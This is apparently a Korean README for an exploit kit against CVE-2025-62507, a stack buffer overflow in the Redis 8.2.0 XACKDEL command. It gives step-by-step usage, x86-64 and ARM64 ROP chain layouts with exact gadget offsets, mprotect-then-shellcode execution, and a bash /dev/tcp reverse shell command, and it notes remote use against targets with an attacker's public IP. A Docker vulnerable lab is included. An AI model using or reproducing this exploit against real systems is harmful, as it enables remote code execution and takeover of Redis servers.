
CVE-2025-62507에 대한 익스플로잇 스크립트로, Redis 8.2.0의 스택 버퍼 오버플로 취약점입니다. x86-64 및 ARM64 ROP 체인 익스플로잇을 제공하며, 리버스 셸을 위한 셸코드 생성, GDB 디버깅 지원 및 Docker 기반 취약 환경을 포함합니다.
scripts/
├── exploit_x86.py # x86-64 ROP exploit
├── exploit_arm64.py # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh # GDB 디버깅 보조 스크립트
| 항목 | 설명 |
|---|---|
| CVE | CVE-2025-62507 |
| 취약점 유형 | 스택 버퍼 오버플로우 (Stack Buffer Overflow) |
| 영향받는 구성 요소 | Redis 8.2.0 xackdelCommand 함수 |
| 트리거 방식 | XACKDEL 명령어에 52개 이상의 streamID 전달 |
| 이용 기술 | ROP 체인 → mprotect로 스택 실행 권한 해제 → 셸코드 리버스 셸 |
| 의존성 | Python 3 (순수 표준 라이브러리, 추가 설치 불필요) |
nc -lvnp 4444를 실행하여 리버스 셸 대기/proc/<PID>/maps를 읽을 수 있어야 함 (root 권한)socket, struct, time, sys)# 프로젝트 루트 디렉토리에서 실행
docker compose -f docker-compose-vulnerable.yml up -d
# 컨테이너 실행 확인
docker ps | grep redis-cve-2025-62507
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# x86-64 주소 획득
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
참고: 컨테이너를 재시작할 때마다 주소가 변경됩니다(ASLR). 다시 획득해야 합니다.
# 호스트에서 다른 터미널 열기
nc -lvnp 4444
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (Docker QEMU 고정 주소, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
| 매개변수 | 의미 | 획득 방법 | 예시 값 |
|---|---|---|---|
redis_base | redis-server ELF 베이스 주소 | /proc/PID/maps의 redis-server 첫 번째 세그먼트 시작 주소 | 0x555555554000 |
libc_base | libc.so.6 베이스 주소 | /proc/PID/maps의 libc.so 첫 번째 세그먼트 시작 주소 | 0x7ffff75b3000 |
stack_addr | 스레드 스택 세그먼트 시작 주소 | /proc/PID/maps의 [stack] 세그먼트 시작 주소 | 0x7ffffffde000 |
52개의 패딩 ID (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
| Gadget | 오프셋 | 설명 |
|---|---|---|
pop rdi; ret | 0x82327 | mprotect 첫 번째 매개변수(addr) 설정 |
pop rsi; ret | 0x86416 | mprotect 두 번째 매개변수(len) 설정 |
pop rdx; ret | 0xba1e2 | mprotect 세 번째 매개변수(prot) 설정 |
call rsp | 0x9486d | 스택 위의 셸코드로 점프 |
mprotect (libc) | 0x1019e0 | 스택 페이지를 RWX로 해제 |
system (libc) | 0x4c490 | 리버스 셸 명령어 실행 |
reverse_shell_cmd 변수는 스크립트 149번째 줄에 정의되어 있으며, 기본값은 다음과 같습니다.
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
수정 방법: exploit_x86.py를 편집하여 reverse_shell_cmd 줄을 찾아 IP와 포트를 바꿉니다.
| 시나리오 | IP | 설명 |
|---|---|---|
Docker host 네트워크 (기본값) | 127.0.0.1 | 컨테이너와 호스트가 네트워크 스택을 공유, 127.0.0.1은 호스트 |
Docker bridge 네트워크 | 172.17.0.1 | 기본 브리지 게이트웨이, 호스트를 가리킴 |
| 원격 공격 | <공격자 공인 IP> | 대상이 공격자의 해당 포트에 라우팅 가능해야 함 |
포트 수정: /dev/tcp/<IP>/4444의 4444를 실제 리스닝 포트로 바꿉니다.
stack_page는stack_addr매개변수를 기반으로 동적 계산됩니다:(stack_addr + 0x1000) & ~0xFFF, mprotect 윈도우가 셸코드가 위치한 스택 영역을 포함하도록 합니다. 스택 레이아웃이 비정상적이면 함께 조정해야 합니다.
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
| 매개변수 | 의미 | 획득 방법 | 예시 값 |
|---|---|---|---|
redis_base | redis-server-8.2.0-arm64 ELF 베이스 주소 | /proc/PID/maps의 redis-server 첫 번째 세그먼트 시작 주소 | 0xaaaaaaaa0000 |
libc_base | libc.so.6-arm64 베이스 주소 | /proc/PID/maps의 libc.so 첫 번째 세그먼트 시작 주소 | 0xfffff7630000 |
stack_addr | xackdelCommand 진입 시 SP 값 (GDB 분석 결과) | GDB 중단점에서 xackdelCommand 진입 SP 관찰 | 0xfffffffff7e0 |
rev_host | (선택 사항) 리버스 셸 공격자 IP | — | 192.168.1.1 |
rev_port | (선택 사항) 리버스 셸 리스닝 포트 | — | 4444 |
target | (선택 사항) 대상 Redis IP | — | 192.168.1.129 |
ARM64 참고:
stack_addr은xackdelCommand진입 시의 SP 값입니다 ([stack]세그먼트 시작 주소가 아닙니다!).static_ids[0] = stack_addr - 0x310,call()의 saved x30은stack_addr + 8에 위치합니다 (즉,static_ids[49].seq).
49개의 패딩 ID (1-1)
│
▼
ID#49-58 call() 종료 프레임 (10 IDs) — call()의 저장된 레지스터와 지역 변수 덮어쓰기
│ #49: saved x29 (dummy) + x30 (G5)
│ #50: saved x19/x20, #51: saved x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: 지역 변수 (0으로 설정)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 Step 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Step 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Step 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Step 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Step 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Step 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Step 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
중요:
call()의 종료(epilogue)는ret이전에 스택에서 x19-x28을 복원하고 여러 지역 변수를 읽습니다. ID#49-58은 안전한 값으로 채워야 하며, 그렇지 않으면 epilogue 실행 중에 충돌합니다. ROP 체인은 ID#59 (call()ret 이후의 SP 위치)부터 시작합니다.
| Gadget | 오프셋 | 기능 | 스택 소비 |
|---|---|---|---|
G5 (ldp x19,x20 + ldr x0) | 0x1a4d40 | 스택에서 x19, x0 로드 | 0x30 (3 IDs) |
G_SET_X2_7 | 0x1d7a84 | w2=7 설정, w1=-1 (부작용) | 0x40 (4 IDs) |
MOV_X3_X19 | 0x2948b0 | x3 = x19 (mprotect), x0 덮어쓰기 | 0x170 (23 IDs) |
BLR_X3 | 0x92bc4 | blr x3; mprotect 호출 | 0x30 (3 IDs) |
| Gadget | 오프셋 | 기능 | 스택 소비 |
|---|---|---|---|
LDR_X1_SIDELOAD | 0x34ab4 | ldr x1,[sp,#0x18]; mov x0,x1 (부작용!) | 0x20 (2 IDs) |
LDR_X0_CLEAN | 0x6ae40 | ldr x0,[sp,#0x18]; 부작용 없음 | 0x20 (2 IDs) |
mprotect | 0xe3ac0 | 메모리 권한 변경 | - |
system | 0x49c24 | 셸 명령어 실행 | - |
참고:
LDR_X1_SIDELOAD에는mov x0, x1부작용이 있어 실행 후 x0이 x1로 덮어쓰여집니다! 이후에 G5 또는 LDR_X0_CLEAN을 사용하여 x0을 다시 설정해야 합니다.
reverse_shell_cmd는 build_exploit_arm64() 함수에서 rev_shell_host와 rev_shell_port 매개변수를 기반으로 동적으로 구성됩니다.
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"
권장 방법: 명령줄 매개변수로 리버스 셸 주소 지정:
# 기본값: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0
# 사용자 정의 리버스 셸 주소 및 포트:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
# ^^^^^^^^ ^^^^ ^^^^^^^^^^
# rev_host rev_port target
직접 수정: exploit_arm64.py를 편집하여 exploit() 함수의 기본 매개변수 값을 수정합니다.
| 시나리오 | IP | 설명 |
|---|---|---|
Docker host 네트워크 | 127.0.0.1 | 컨테이너와 호스트가 네트워크 스택을 공유, 127.0.0.1은 호스트 |
Docker bridge 네트워크 | 172.17.0.1 | 기본 브리지 게이트웨이, 호스트를 가리킴 |
| QEMU 가상 머신 | 192.168.1.1 | QEMU 네트워크에서 호스트의 주소 |
| 원격 공격 | <공격자 공인 IP> | 대상이 공격자의 해당 포트에 라우팅 가능해야 함 |